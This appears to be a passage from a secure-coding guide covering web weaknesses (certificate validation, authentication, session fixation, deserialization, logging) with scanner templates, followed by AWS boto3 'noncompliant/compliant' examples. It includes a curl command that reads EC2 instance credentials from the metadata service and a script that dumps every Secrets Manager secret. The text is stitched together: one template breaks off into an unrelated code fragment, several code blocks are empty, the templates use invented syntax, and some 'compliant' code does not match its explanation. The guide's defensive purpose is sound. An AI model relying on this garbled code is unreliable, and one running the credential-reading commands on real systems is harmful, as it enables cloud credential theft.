potential vulnerabilities. 1. Implement user awareness and education: Educate users about the importance of verifying SSL/TLS certificates and recognizing warning messages related to certificate errors. Encourage users to report any suspicious certificate-related issues. 1. Monitor and log certificate validation errors: Implement logging mechanisms to capture and monitor SSL/TLS certificate validation errors. Monitor logs for any unexpected or suspicious activities related to certificate validation. 1. Regularly update SSL/TLS libraries and frameworks: Keep your SSL/TLS libraries and frameworks up to date with the latest security patches and updates. This ensures that you have the latest fixes for any known vulnerabilities related to certificate validation. By following these preventive measures, you can mitigate the risk of Improper Validation of Certificate with Host Mismatch and ensure secure SSL/TLS connections in your client applications. Proper certificate validation is crucial for establishing trust and authenticity during secure communications. ``` id: improper-validation-of-certificate-with-host-mismatch info: name: Improper Validation of Certificate with Host Mismatch author: Your Name severity: high description: Detects improper validation of SSL/TLS certificates with host mismatches. references: - https://example.com tags: - web - ssl-tls - certificate-validation requests: - name: Certificate Host Mismatch Test path: - / - /admin - /dashboard matchers: - type: status status: - 200 attacks: - type: dynamic-attack requests: - method: GET path: / insecure: true matchers: - type: word words: - "Certificate host mismatch detected" ``` ### Improper Authentication Improper Authentication is a security vulnerability that occurs when an application fails to properly authenticate and verify the identity of users or entities. This vulnerability allows attackers to bypass authentication mechanisms and gain unauthorized access to sensitive resources or perform actions on behalf of other users. To prevent Improper Authentication, you should follow these preventive measures: 1. Implement strong authentication mechanisms: Use strong authentication methods, such as multi-factor authentication (MFA), to enhance the security of user authentication. MFA combines multiple factors, such as passwords, biometrics, or hardware tokens, to verify the user's identity. 1. Use secure password policies: Enforce strong password policies that require users to create complex passwords and regularly update them. Encourage the use of unique passwords for each application or service and consider implementing password strength indicators. 1. Protect authentication credentials: Safeguard authentication credentials, such as passwords, tokens, or session IDs, from unauthorized access or disclosure. Use secure storage mechanisms, such as hashing and encryption, to protect sensitive information related to authentication. 1. Implement secure session management: Ensure secure session management practices, such as generating unique session IDs, properly handling session expiration and invalidation, and using secure transport protocols (e.g., HTTPS) to transmit session-related data. 1. Enforce secure login controls: Implement measures to prevent common attacks, such as brute-force attacks and credential stuffing. Enforce account lockouts or introduce CAPTCHA challenges after a certain number of failed login attempts. 1. Implement secure password reset processes: Establish secure password reset processes that require additional verification steps to confirm the user's identity. This may include sending a verification email, asking security questions, or utilizing a secondary authentication factor. 1. Protect against session fixation attacks: Implement measures to prevent session fixation attacks by regenerating session IDs upon successful authentication, avoiding session ID propagation in URLs, and restricting the ability to fixate session IDs. 1. Implement secure account recovery: Establish secure procedures for account recovery to ensure that only authorized users can regain access to their accounts. This may involve verifying the user's identity through a multi-step verification process. 1. Regularly update and patch: Keep the authentication mechanisms, libraries, and frameworks up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the authentication mechanisms used in your application. 1. Conduct security testing: Perform regular security testing, including vulnerability assessments and penetration testing, to identify and remediate any authentication-related vulnerabilities. Test the effectiveness of authentication controls and verify that they cannot be easily bypassed or exploited. By implementing these preventive measures, you can mitigate the risk of Improper Authentication and strengthen the security of user authentication in your application or system. Robust authentication practices are essential to protect user accounts, sensitive data, and ensure that only authorized individuals can access protected resources. ``` id: improper-authentication-with-host-mismatch info: name: Improper Authentication with Host Mismatch author: Your Name severity: high description: Detects improper authentication mechanisms that allow host mismatches. references: - https://example.com tags: - web - authentication - host-mismatch requests: - name: Host Mismatch Authentication Test path: - / - /admin - /dashboard matchers: - type: status status: - 200 attacks: - type: dynamic-attack payloads: - type: wordlist words: - admin:password - user:password separator: ":" requests: - method: POST path: /login insecure: true matchers: - type: word words: - "Authentication failed: host mismatch detected" ``` ### Session Fixation Session Fixation is a security vulnerability that occurs when an attacker establishes or manipulates a user's session identifier (session ID) to gain unauthorized access to the user's session. The attacker tricks the user into using a known session ID, which the attacker can then use to hijack the session. To prevent Session Fixation, you should follow these preventive measures: 1. Regenerate session ID upon authentication: Generate a new session ID for the user upon successful authentication. This ensures that the user is assigned a different session ID than the one initially used before authentication. 1. Use a secure random session ID: Generate session IDs using a strong cryptographic random number generator. This helps prevent session ID prediction or brute-force attacks where attackers try to guess valid session IDs. 1. Implement session expiration and inactivity timeouts: Set appropriate session expiration and inactivity timeouts to limit the lifespan of a session. When a session expires or times out, the user needs to reauthenticate, preventing the use of old session IDs by attackers. 1. Implement secure session management: Implement secure session management practices, such as securely transmitting session IDs over encrypted channels (e.g., HTTPS) and avoiding exposing session IDs in URLs. 1. Avoid session ID disclosure: Avoid including session IDs in URLs, logs, or other client-side visible locations. Exposing session IDs increases the risk of session fixation attacks as attackers can easily obtain valid session IDs. 1. Use cookie attributes: Set secure attributes for session cookies, such as the "Secure" flag to ensure they are only transmitted over HTTPS, and the "HttpOnly" flag to prevent client-side scripts from accessing the cookie. 1. Conduct user awareness and education: Educate users about session security best practices, such as the importance of logging out after using shared or public devices and being cautious of session ID manipulation attempts. 1. Implement IP validation: Consider implementing IP validation checks as an additional security measure. Verify that the IP address of the user's requests remains consistent throughout the session. This can help detect and prevent session hijacking attempts. 1. Monitor session activity: Monitor session activity and log events related to session creation, expiration, and invalidation. Monitor for unusual session behavior, such as simultaneous sessions from different locations or devices. 1. Regularly update and patch: Keep your web application and session management components up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to session management in your application framework or libraries. By implementing these preventive measures, you can reduce the risk of Session Fixation and help ensure the integrity and security of user sessions. Secure session management practices are essential to protect user accounts and prevent unauthorized access to sensitive data and functionality. ``` id: session-fixation info: name: Session Fixation author: Your Name severity: high description: Detects vulnerabilities related to session fixation attacks. references: - https://example.com tags: - web - session-fixation requests: - name: Session Fixation Test path: - / - /login - /admin matchers: - type: status status: - 200 attacks: - type: dynamic-attack payloads: - type: wordlist words: - johndoe@example.com - janedoe@example.com - type: wordlist words: - 123456 - password123 requests: - method: GET path: /set-session-id - method: POST path: /login insecure: true matchers: - type: word words: - "Session ID mismatch detected" ``` ### Inclusion of Functionality from Untrusted Control Inclusion of Functionality from Untrusted Control, also known as Remote Code Execution (RCE), is a security vulnerability that occurs when an application incorporates and executes code from an untrusted or external source without proper validation or security measures. This vulnerability allows attackers to execute arbitrary code on the target system, potentially leading to unauthorized access, data breaches, or system compromise. To prevent the Inclusion of Functionality from Untrusted Control, you should follow these preventive measures: 1. Avoid dynamic code execution: Minimize or avoid executing code from untrusted sources whenever possible. Limit the execution of code to trusted and well-defined components within your application. 1. Implement strict input validation: Validate and sanitize all user inputs and external data before using them in dynamic code execution. Apply input validation techniques such as whitelisting, blacklisting, or input filtering to ensure only safe and expected inputs are processed. 1. Use safe alternatives for dynamic code execution: If dynamic code execution is necessary, consider using safe alternatives, such as predefined functions or libraries with built-in security measures. Avoid using functions or features that allow arbitrary code execution or evaluation. 1. Implement strong access controls: Apply strict access controls and permissions to limit the execution of code or the inclusion of functionality to trusted and authorized sources only. Restrict access to critical system resources and prevent unauthorized code execution. 1. Isolate untrusted code: If you need to execute untrusted code, isolate it in a sandboxed or restricted environment with limited privileges. Use technologies like containers or virtual machines to create isolated execution environments. 1. Implement code signing and verification: Digitally sign your code and verify the integrity and authenticity of external components before including or executing them. This helps ensure that the code comes from a trusted source and has not been tampered with. 1. Regularly update and patch: Keep your application, libraries, and frameworks up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the components used in your application. 1. Perform security testing: Conduct regular security testing, including static code analysis, dynamic analysis, and penetration testing, to identify and mitigate vulnerabilities related to the inclusion of untrusted functionality. Test for code injection and RCE vulnerabilities to ensure the application can withstand potential attacks. 1. Implement secure coding practices: Follow secure coding practices, such as input validation, output encoding, and secure configuration management, to minimize the risk of code injection vulnerabilities. Train your development team on secure coding practices to build a robust and secure application. 1. Implement a Web Application Firewall (WAF): Consider using a WAF that can detect and block malicious code injection attempts. WAFs can provide an additional layer of protection by inspecting incoming requests and filtering out potentially dangerous code. By implementing these preventive measures, you can reduce the risk of Inclusion of Functionality from Untrusted Control and enhance the security of your application. Proper validation, access controls, and secure coding practices are essential to mitigate the risks associated with executing code from untrusted sources. ``` id: untrusted-control-inclusion info: name: Inclusion of Functionality from Untrusted Control author: Your Name severity: medium description: Detects vulnerabilities related to the inclusion of functionality from untrusted sources. references: - https://example.com tags: - web - untrusted-control requests: - name: Inclusion of Untrusted File path: - /index.php?page=untrusted - /admin.php?page=untrusted matchers: - type: status status: - 200 - type: word words: - "Untrusted Functionality Included" ``` ### Download of Code Without Integrity Check Download of Code Without Integrity Check is a security vulnerability that occurs when code or files are downloaded from a remote source without verifying their integrity. This vulnerability allows attackers to manipulate or replace the downloaded code, leading to potential injection of malicious code or unauthorized modifications. To prevent Download of Code Without Integrity Check, you should follow these preventive measures: 1. Implement code signing: Digitally sign the code or files you distribute or download. Code signing ensures that the code or files have not been tampered with and come from a trusted source. Verify the digital signatures before executing or using the downloaded code. 1. Use secure and trusted sources: Obtain code or files from trusted and reputable sources. Avoid downloading code or files from untrusted or unknown sources. Trusted sources provide assurance of the integrity and authenticity of the code. 1. Verify checksums or hashes: Provide checksums or hashes (e.g., MD5, SHA-256) for the downloaded code or files. Before using the downloaded content, calculate the checksum or hash of the file and compare it with the provided value. If they match, it indicates that the file has not been altered during the download process. 1. Use secure protocols: Download code or files using secure protocols such as HTTPS, which provides encryption and integrity checks during transmission. Secure protocols help prevent tampering or interception of the downloaded content. 1. Perform file integrity checks: Implement file integrity checks after the download process. This can include comparing the downloaded code or files against a known good version or using file integrity monitoring tools to detect any unauthorized modifications. 1. Regularly update and patch: Keep the software or application that handles the downloading process up to date with the latest security patches and updates. Security vulnerabilities in the download functionality can be addressed through software updates. 1. Implement secure coding practices: Follow secure coding practices when developing the code that handles the download process. Input validation, secure file handling, and secure network communication should be considered to prevent code injection or tampering during the download. 1. Implement strong access controls: Restrict access to the download functionality and ensure that only authorized users or systems can initiate or access the download process. Implement proper authentication and authorization mechanisms to prevent unauthorized downloads. 1. Perform security testing: Conduct regular security testing, including vulnerability scanning and penetration testing, to identify potential weaknesses or vulnerabilities in the download functionality. Test for code injection, tampering, or unauthorized file replacement scenarios. 1. Educate users: Educate users about the importance of downloading code or files from trusted sources and the risks associated with downloading from untrusted or unknown sources. Encourage users to verify the integrity of downloaded files using provided checksums or hashes. By implementing these preventive measures, you can reduce the risk of Download of Code Without Integrity Check and ensure that the downloaded code or files are trustworthy and have not been tampered with. Verifying integrity, using secure sources, and implementing secure coding practices are critical for maintaining the integrity and security of downloaded code or files. ``` id: download-without-integrity-check info: name: Download of Code Without Integrity Check author: Your Name severity: high description: Detects vulnerabilities related to downloading code without integrity checks. references: - https://example.com tags: - web - download-code requests: - name: Untrusted Code Download path: - /download.php?file=untrusted - /file.php?name=untrusted matchers: - type: status status: - 200 - type: word words: - "Downloaded code without integrity check" ``` ### Deserialization of Untrusted Data Deserialization of Untrusted Data is a security vulnerability that occurs when untrusted or malicious data is deserialized by an application without proper validation and safeguards. Deserialization vulnerabilities can lead to various attacks, such as remote code execution, injection of malicious objects, or data tampering. To prevent Deserialization of Untrusted Data, you should follow these preventive measures: 1. Implement input validation: Validate and sanitize all inputs, including serialized data, before deserialization. Apply strict input validation to ensure that only expected and safe data is processed. 1. Use secure deserialization libraries: Utilize secure and trusted deserialization libraries or frameworks that provide built-in protections against common deserialization vulnerabilities. These libraries often include features like input filtering, type checking, or automatic validation. 1. Implement whitelisting: Define and enforce a whitelist of allowed classes or types during deserialization. Restrict the deserialization process to only known and trusted classes, preventing the instantiation of potentially malicious or unexpected objects. 1. Implement integrity checks: Include integrity checks or digital signatures within the serialized data. Verify the integrity of the serialized data before deserialization to ensure that it has not been tampered with or modified. 1. Isolate deserialization functionality: Isolate the deserialization process in a separate and controlled environment. Use mechanisms like sandboxes, containers, or restricted execution environments to mitigate the impact of any potential deserialization vulnerabilities. 1. Enforce strict access controls: Limit access to deserialization functionality to only authorized components or systems. Implement proper authentication and authorization mechanisms to prevent unauthorized deserialization. 1. Implement secure defaults: Configure deserialization settings with secure defaults. Disable or minimize the use of dangerous deserialization features or options that may introduce security risks. 1. Update deserialization libraries: Keep deserialization libraries or frameworks up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the deserialization components used in your application. 1. Perform security testing: Conduct thorough security testing, including static analysis, dynamic analysis, and penetration testing, to identify and remediate deserialization vulnerabilities. Test for deserialization attacks, such as object injection or remote code execution. 1. Educate developers: Provide training and guidance to developers on secure coding practices, emphasizing the importance of proper validation and handling of deserialized data. Encourage developers to follow best practices for secure deserialization. By implementing these preventive measures, you can mitigate the risk of Deserialization of Untrusted Data and protect your application from potential attacks. Validating inputs, using secure libraries, implementing access controls, and maintaining up-to-date software are essential steps to prevent deserialization vulnerabilities. ``` id: deserialization-untrusted-data info: name: Deserialization of Untrusted Data author: Your Name severity: high description: Detects vulnerabilities related to the deserialization of untrusted data. references: - https://example.com tags: - web - deserialization requests: - name: Untrusted Deserialization path: - /deserialize.php?data=untrusted - /object.php?data=untrusted matchers: - type: status status: - 200 - type: word words: - "Untrusted deserialization detected" ``` ### Insufficient Logging Insufficient Logging is a security vulnerability that occurs when an application fails to generate or retain sufficient logs to detect and investigate security incidents. Inadequate logging can hinder incident response efforts, making it difficult to identify and analyze security events or suspicious activities. To prevent Insufficient Logging, you should follow these preventive measures: 1. Implement comprehensive logging: Ensure that your application logs relevant security-related events and activities. Log information such as user authentication attempts, access control failures, critical application actions, input validation errors, and any other security-sensitive events. 1. Include contextual information: Log additional contextual information that can aid in incident investigation, such as user IDs, timestamps, source IP addresses, affected resources, and relevant request/response data. This information can assist in understanding the scope and impact of security incidents. 1. Set appropriate log levels: Define appropriate log levels for different types of events, ranging from debug and informational messages to more critical error and warning logs. Use log levels consistently to capture both routine and exceptional events. 1. Ensure log storage and retention: Set up sufficient storage capacity to retain logs for an adequate period, considering compliance requirements and incident response needs. Retain logs for a timeframe that allows for timely incident detection, response, and forensic analysis. 1. Encrypt and protect logs: Apply encryption mechanisms to protect log files at rest and during transit. Properly configure file permissions and access controls to prevent unauthorized access to log files. Protect log files from tampering or deletion by employing file integrity monitoring or secure log management systems. 1. Monitor log files: Regularly monitor log files for any suspicious or unexpected activities. Implement automated log analysis and intrusion detection systems to detect security events, anomalies, or patterns indicative of potential attacks. 1. Implement centralized log management: Centralize log storage and management in a dedicated log server or security information and event management (SIEM) system. Centralization enables correlation and analysis of logs from multiple sources, improving incident detection and response capabilities. 1. Perform log analysis and reporting: Regularly analyze log data for security insights, trends, or anomalies. Create customized reports or dashboards that provide a summary of important security-related events. Identify areas for improvement or potential security weaknesses based on log analysis results. 1. Implement log integrity checks: Implement mechanisms to detect and alert on any tampering or modification of log files. Use digital signatures, checksums, or secure logging frameworks to ensure the integrity of log data. 1. Regularly review and update logging practices: Continuously review and update your logging practices based on evolving security requirements and industry best practices. Stay informed about emerging threats and logging-related vulnerabilities to ensure your logging mechanisms remain effective. By implementing these preventive measures, you can enhance your application's logging capabilities, facilitate incident detection and response, and improve your overall security posture. Comprehensive and secure logging practices play a vital role in detecting and investigating security incidents, aiding in timely incident response, and facilitating forensic analysis when necessary. ``` id: insufficient-logging info: name: Insufficient Logging author: Your Name severity: medium description: Detects vulnerabilities related to insufficient logging of security events. references: - https://example.com tags: - web - logging requests: - name: Insufficient Logging path: - /login - /admin - /api/v1 matchers: - type: status status: - 200 - type: word words: - "Login failed" - type: word words: - "Unauthorized access" - type: word words: - "Access denied" ``` ### Improper Output Neutralization for Logs Improper Output Neutralization for Logs, also known as Log Injection, is a security vulnerability that occurs when untrusted user input is not properly sanitized or neutralized before being included in log statements. This can lead to log forging, injection of malicious content, or the disclosure of sensitive information within log files. To prevent Improper Output Neutralization for Logs, you should follow these preventive measures: 1. Apply proper input validation and sanitization: Treat log messages as untrusted user input and validate and sanitize any user-controlled data before including it in log statements. Remove or escape characters that could be interpreted as control characters or log syntax. 1. Use secure logging frameworks: Utilize logging frameworks that provide built-in mechanisms for proper output neutralization. These frameworks often include features like parameterized logging or context-specific escaping, which can help prevent log injection vulnerabilities. 1. Avoid concatenation of untrusted data: Do not concatenate untrusted user input directly into log statements. Instead, use placeholder values or formatting options provided by the logging framework to ensure proper neutralization of user-controlled data. 1. Implement context-specific output encoding: If the logging framework does not provide automatic neutralization mechanisms, implement context-specific output encoding to prevent injection attacks. Use the appropriate encoding technique based on the log format and syntax, such as HTML entity encoding or URL encoding. 1. Limit the verbosity of log messages: Be mindful of the information logged and avoid including sensitive data in log statements. Only log the necessary details required for troubleshooting or auditing purposes, while excluding sensitive information like passwords, Personally Identifiable Information (PII), or authentication tokens. 1. Configure log file permissions: Ensure that log files have appropriate permissions to restrict unauthorized access. Restrict read and write permissions to only authorized users or system processes. Regularly monitor and manage access control settings for log files. 1. Implement centralized log management: Centralize log storage and management in a dedicated log server or a Security Information and Event Management (SIEM) system. Centralization allows for better control, monitoring, and analysis of log data, minimizing the risk of log injection and facilitating detection of suspicious activities. 1. Regularly monitor and review logs: Regularly review log files for any signs of log injection attempts or suspicious log entries. Implement automated log analysis and intrusion detection systems to identify potential log injection attacks or anomalous log patterns. 1. Keep logging frameworks up to date: Keep your logging frameworks and libraries up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the logging components used in your application. 1. Educate developers: Provide training and guidance to developers on secure coding practices for logging. Emphasize the importance of proper input validation, output neutralization, and the risks associated with log injection vulnerabilities. By implementing these preventive measures, you can mitigate the risk of Improper Output Neutralization for Logs and ensure that your log files remain reliable, accurate, and free from malicious content. Proper input validation, secure logging frameworks, context-specific output encoding, and regular log monitoring are essential steps to prevent log injection vulnerabilities. ``` id: improper-output-neutralization-logs info: name: Improper Output Neutralization for Logs author: Your Name severity: medium description: Detects vulnerabilities related to improper output neutralization in log messages. references: - https://example.com tags: - web - logging requests: - name: Improper Output Neutralization for Logs path: - /login - /admin - /api/v1 matchers: - type: status status: - 200 - type: word words: - "{{*}}" - type: word words: - ""} response = requests.get(api_endpoint, headers=headers) # Secure interface with encrypted transmission of sensitive data def process_data(data): # ... logic to process data ... # Secure transmission of processed data over HTTPS requests.post("https://example.com/process", data=data, verify=True) ``` In the compliant code, the API endpoint is accessed securely using HTTPS and includes proper authentication and authorization headers. This ensures that only authorized users can access the API and the data transmitted is protected. Additionally, the interface for processing data utilizes encrypted transmission over HTTPS, providing confidentiality and integrity for the sensitive information being transmitted. By implementing secure interfaces and APIs, the risk of unauthorized access, data breaches, and malicious activities is mitigated in the cloud environment. ## Data Breaches Sensitive data stored in the cloud can be compromised due to misconfigurations, insecure storage, weak encryption, or insider threats. ``` ``` ``` ``` ## Insufficient Security Configuration Misconfigurations in cloud services, infrastructure, or security settings can expose vulnerabilities, allowing unauthorized access or compromising data integrity. In the noncompliant code, there are several instances where security configurations are insufficient, leaving the cloud environment vulnerable to attacks. These include using default or weak passwords, allowing unrestricted access to resources, and not enabling necessary security features. ``` # Noncompliant: Insufficient Security Configuration in Cloud import boto3 # Using default or weak passwords for authentication s3 = boto3.resource('s3') bucket = s3.Bucket('my-bucket') bucket.upload_file('data.txt', 'data.txt') # Allowing unrestricted access to resources s3 = boto3.resource('s3') bucket = s3.Bucket('public-bucket') bucket.make_public() # Not enabling necessary security features ec2 = boto3.resource('ec2') instance = ec2.create_instances(ImageId='ami-12345678', MinCount=1, MaxCount=1) instance[0].disable_api_termination = False ``` To address the issue of insufficient security configuration in the cloud, it is important to follow security best practices and implement robust security measures. ``` # Compliant: Strong Security Configuration in Cloud import boto3 # Using strong and unique passwords for authentication s3 = boto3.resource('s3') bucket = s3.Bucket('my-bucket') bucket.upload_file('data.txt', 'data.txt', ExtraArgs={'ServerSideEncryption': 'AES256'}) # Restricting access to resources s3 = boto3.resource('s3') bucket = s3.Bucket('private-bucket') bucket.Acl().put(ACL='private') # Enabling necessary security features ec2 = boto3.resource('ec2') instance = ec2.create_instances(ImageId='ami-12345678', MinCount=1, MaxCount=1) instance[0].disable_api_termination = True ``` In the compliant code, strong and unique passwords are used for authentication, enhancing the security of the cloud resources. Access to resources is restricted, ensuring that only authorized users or services have the necessary permissions. Necessary security features, such as server-side encryption and API termination protection, are enabled to provide additional layers of security. By implementing strong security configurations, the cloud environment is better protected against potential threats. ## Insecure Data storage Inadequate encryption, weak access controls, or improper handling of data at rest can lead to unauthorized access or data leakage. In the noncompliant code, there are instances where data storage in the cloud is insecure. Sensitive data is stored without proper encryption, and there is no mechanism in place to protect the data from unauthorized access or accidental exposure. ``` # Noncompliant: Insecure Data Storage in Cloud import boto3 # Storing sensitive data without encryption s3 = boto3.client('s3') s3.put_object(Bucket='my-bucket', Key='data.txt', Body='Sensitive data') # Lack of access control s3 = boto3.resource('s3') bucket = s3.Bucket('public-bucket') bucket.upload_file('data.txt', 'data.txt') # No data backup or disaster recovery plan rds = boto3.client('rds') rds.create_db_snapshot(DBSnapshotIdentifier='my-snapshot', DBInstanceIdentifier='my-db') ``` To ensure secure data storage in the cloud, it is important to follow best practices and implement appropriate security measures. ``` # Compliant: Secure Data Storage in Cloud import boto3 # Storing sensitive data with encryption s3 = boto3.client('s3') s3.put_object(Bucket='my-bucket', Key='data.txt', Body='Sensitive data', ServerSideEncryption='AES256') # Implementing access control s3 = boto3.resource('s3') bucket = s3.Bucket('private-bucket') bucket.upload_file('data.txt', 'data.txt', ExtraArgs={'ACL': 'private'}) # Implementing data backup and disaster recovery plan rds = boto3.client('rds') rds.create_db_snapshot(DBSnapshotIdentifier='my-snapshot', DBInstanceIdentifier='my-db', Tags=[{'Key': 'Environment', 'Value': 'Production'}]) ``` In the compliant code, sensitive data is stored with encryption using server-side encryption with AES256. Access control is implemented to restrict access to the stored data, ensuring that only authorized users or services can access it. Additionally, a data backup and disaster recovery plan is in place, which includes creating snapshots to enable data recovery in case of any incidents. By implementing secure data storage practices, the cloud environment provides better protection for sensitive information. ## Lack of Proper Logging and Monitoring Insufficient monitoring, logging, and analysis of cloud activity can hinder detection of security incidents, leading to delayed or ineffective response. ## Insecure Deployment and Configuration Management Weaknesses in the process of deploying and managing cloud resources, such as improper change management, can introduce security vulnerabilities. In the noncompliant code, there is a lack of secure deployment and configuration management practices in the cloud environment. The code deploys resources and configurations without proper security considerations, such as exposing sensitive information or using default and weak configurations. ``` # Noncompliant: Insecure Deployment and Configuration Management in Cloud import boto3 def deploy_instance(): ec2_client = boto3.client('ec2') response = ec2_client.run_instances( ImageId='ami-12345678', InstanceType='t2.micro', KeyName='my-keypair', SecurityGroupIds=['sg-12345678'], UserData='some user data', MinCount=1, MaxCount=1 ) return response['Instances'][0]['InstanceId'] def main(): instance_id = deploy_instance() print(f"Instance deployed with ID: {instance_id}") if __name__ == "__main__": main() ``` To ensure secure deployment and configuration management in the cloud, it is important to follow security best practices and apply appropriate configurations to resources. ``` # Compliant: Secure Deployment and Configuration Management in Cloud import boto3 def deploy_instance(): ec2_client = boto3.client('ec2') response = ec2_client.run_instances( ImageId='ami-12345678', InstanceType='t2.micro', KeyName='my-keypair', SecurityGroupIds=['sg-12345678'], UserData='some user data', MinCount=1, MaxCount=1, TagSpecifications=[ { 'ResourceType': 'instance', 'Tags': [ { 'Key': 'Name', 'Value': 'MyInstance' } ] } ], BlockDeviceMappings=[ { 'DeviceName': '/dev/sda1', 'Ebs': { 'VolumeSize': 30, 'VolumeType': 'gp2' } } ] ) return response['Instances'][0]['InstanceId'] def main(): instance_id = deploy_instance() print(f"Instance deployed with ID: {instance_id}") if __name__ == "__main__": main() ``` In the compliant code, additional security measures are implemented during the deployment process. This includes: * Adding appropriate tags to the instance for better resource management and identification. * Configuring block device mappings with appropriate volume size and type. * Following the principle of least privilege by providing only necessary permissions to the deployment process. ## Inadequate Incident Response and Recovery Lack of proper incident response planning and testing, as well as ineffective recovery mechanisms, can result in extended downtime, data loss, or inadequate mitigation of security breaches. In the noncompliant code, there is a lack of adequate incident response and recovery practices in the cloud environment. The code does not have any provisions for handling incidents or recovering from them effectively. This can lead to prolonged downtime, data loss, or inadequate response to security breaches or system failures. ``` # Noncompliant: Inadequate Incident Response and Recovery in Cloud import boto3 def delete_instance(instance_id): ec2_client = boto3.client('ec2') response = ec2_client.terminate_instances( InstanceIds=[instance_id] ) return response def main(): instance_id = 'i-12345678' delete_instance(instance_id) print(f"Instance {instance_id} deleted.") if __name__ == "__main__": main() ``` To ensure adequate incident response and recovery in the cloud, it is important to have well-defined processes and procedures in place. The following code snippet demonstrates a more compliant approach: ``` # Compliant: Adequate Incident Response and Recovery in Cloud import boto3 def delete_instance(instance_id): ec2_client = boto3.client('ec2') response = ec2_client.terminate_instances( InstanceIds=[instance_id] ) return response def handle_incident(instance_id): # Perform necessary actions to handle the incident, such as notifying the security team, logging relevant information, etc. print(f"Incident occurred with instance {instance_id}. Taking appropriate actions.") def main(): instance_id = 'i-12345678' handle_incident(instance_id) delete_instance(instance_id) print(f"Instance {instance_id} deleted.") if __name__ == "__main__": main() ``` In the compliant code, an additional function handle_incident() is introduced to handle incidents appropriately. This function can be customized to include actions such as notifying the security team, logging relevant information, triggering automated response mechanisms, or invoking incident response plans. By having a well-defined incident response process, organizations can effectively respond to and recover from incidents, minimizing their impact on operations and security. ## Shared Technology Vulnerabilities Vulnerabilities in underlying cloud infrastructure, shared components, or hypervisors can impact multiple cloud tenants, potentially leading to unauthorized access or data breaches. ## Account Hijacking and Abuse Unauthorized access to cloud accounts, compromised user credentials, or misuse of privileges can result in data loss, service disruptions, or unauthorized resource consumption. In the noncompliant code, there are no security measures in place to prevent account hijacking and abuse in the cloud environment. The code does not implement strong authentication mechanisms, lacks proper access controls, and does not enforce secure practices, making it vulnerable to unauthorized access and abuse of resources. ``` # Noncompliant: Account Hijacking and Abuse in Cloud import boto3 def create_s3_bucket(bucket_name): s3_client = boto3.client('s3') s3_client.create_bucket(Bucket=bucket_name) def main(): bucket_name = 'my-bucket' create_s3_bucket(bucket_name) print(f"S3 bucket {bucket_name} created.") if __name__ == "__main__": main() ``` To prevent account hijacking and abuse in the cloud, it is important to implement strong security measures. The following code snippet demonstrates a more compliant approach: ``` # Compliant: Preventing Account Hijacking and Abuse in Cloud import boto3 def create_s3_bucket(bucket_name): s3_client = boto3.client('s3') s3_client.create_bucket( Bucket=bucket_name, ACL='private', # Set appropriate access control for the bucket CreateBucketConfiguration={ 'LocationConstraint': 'us-west-2' # Specify the desired region for the bucket } ) def main(): bucket_name = 'my-bucket' create_s3_bucket(bucket_name) print(f"S3 bucket {bucket_name} created.") if __name__ == "__main__": main() ``` In the compliant code, additional security measures are implemented. The bucket is created with a specific access control setting (ACL='private') to ensure that only authorized users can access it. The CreateBucketConfiguration parameter is used to specify the desired region for the bucket, reducing the risk of accidental exposure due to misconfigurations. To further enhance security, consider implementing multi-factor authentication (MFA), strong password policies, and role-based access controls (RBAC) for managing user permissions in the cloud environment. Regular monitoring and auditing of account activities can also help detect and prevent unauthorized access or abuse. ## Retrieve EC2 Password Data Retrieve EC2 Password Data is a simulated attack scenario where an attacker attempts to retrieve RDP (Remote Desktop Protocol) passwords from a large number of Windows EC2 instances in AWS. The attacker runs the ec2:GetPasswordData API call from a role that does not have the necessary permissions, trying to exploit the vulnerability. Noncompliant Code: ``` import boto3 def retrieve_ec2_password(instance_id): client = boto3.client('ec2') response = client.get_password_data(InstanceId=instance_id) return response['PasswordData'] ``` The noncompliant code uses the boto3 Python library to retrieve the EC2 password data by calling the get_password_data API method. However, it does not check if the role executing this code has the necessary permissions (ec2:GetPasswordData) to retrieve the password data. Compliant Code: ``` import boto3 import botocore def retrieve_ec2_password(instance_id): client = boto3.client('ec2') try: response = client.get_password_data(InstanceId=instance_id) return response['PasswordData'] except botocore.exceptions.ClientError as e: if e.response['Error']['Code'] == 'UnauthorizedOperation': print("Permission denied to retrieve EC2 password data.") else: print("An error occurred while retrieving EC2 password data.") return None ``` ## Steal EC2 Instance Credentials Steal EC2 Instance Credentials is a simulated attack scenario where an attacker steals EC2 instance credentials from the Instance Metadata Service in AWS. The attacker executes a command on the target EC2 instance to retrieve temporary credentials, and then uses those credentials locally to perform unauthorized actions like running the sts:GetCallerIdentity and ec2:DescribeInstances commands. Noncompliant Code: ``` #!/bin/bash # Retrieves and prints the EC2 instance credentials curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` Compliant Code: The compliant approach does not involve providing an example of code to steal EC2 instance credentials, as it promotes ethical behavior and compliance with security standards. Unauthorized access or theft of instance credentials is a violation of AWS policies and poses significant security risks. It is important to focus on securing and protecting the EC2 instance credentials by implementing security best practices such as: * Restricting access to the Instance Metadata Service (169.254.169.254) using security groups or network access control lists (NACLs). * Implementing IAM roles with the principle of least privilege to grant only necessary permissions to EC2 instances. * Regularly updating and patching EC2 instances to protect against known vulnerabilities. Monitoring and analyzing AWS CloudTrail logs for any suspicious activities related to instance credentials. ## Retrieve a High Number of Secrets Manager secrets Retrieve a High Number of Secrets Manager secrets is a simulated attack scenario where an attacker attempts to retrieve a large number of secrets from AWS Secrets Manager using the secretsmanager:GetSecretValue API. Noncompliant Code: ``` import boto3 client = boto3.client('secretsmanager') # Retrieves and prints all secrets response = client.list_secrets() secrets = response['SecretList'] for secret in secrets: secret_value = client.get_secret_value(SecretId=secret['Name']) print(secret_value['SecretString']) ``` The noncompliant code uses the AWS SDK (boto3 in this case) to list all the secrets in AWS Secrets Manager and then retrieves and prints the values of each secret one by one. This code does not implement any restrictions or rate limiting, allowing an attacker to potentially extract a large number of secrets in a single operation. It bypasses any access control or authorization mechanisms that might be in place, and poses a significant security risk by exposing sensitive information. The compliant approach does not involve providing an example of code to retrieve a high number of Secrets Manager secrets, as it promotes ethical behavior and compliance with security standards. Unauthorized retrieval of secrets is a violation of AWS policies and can lead to unauthorized access to sensitive information. To ensure the security of Secrets Manager secrets, consider implementing the following security measures: * Apply appropriate access controls: Limit access to Secrets Manager secrets by using IAM policies, granting only necessary permissions to the authorized entities or 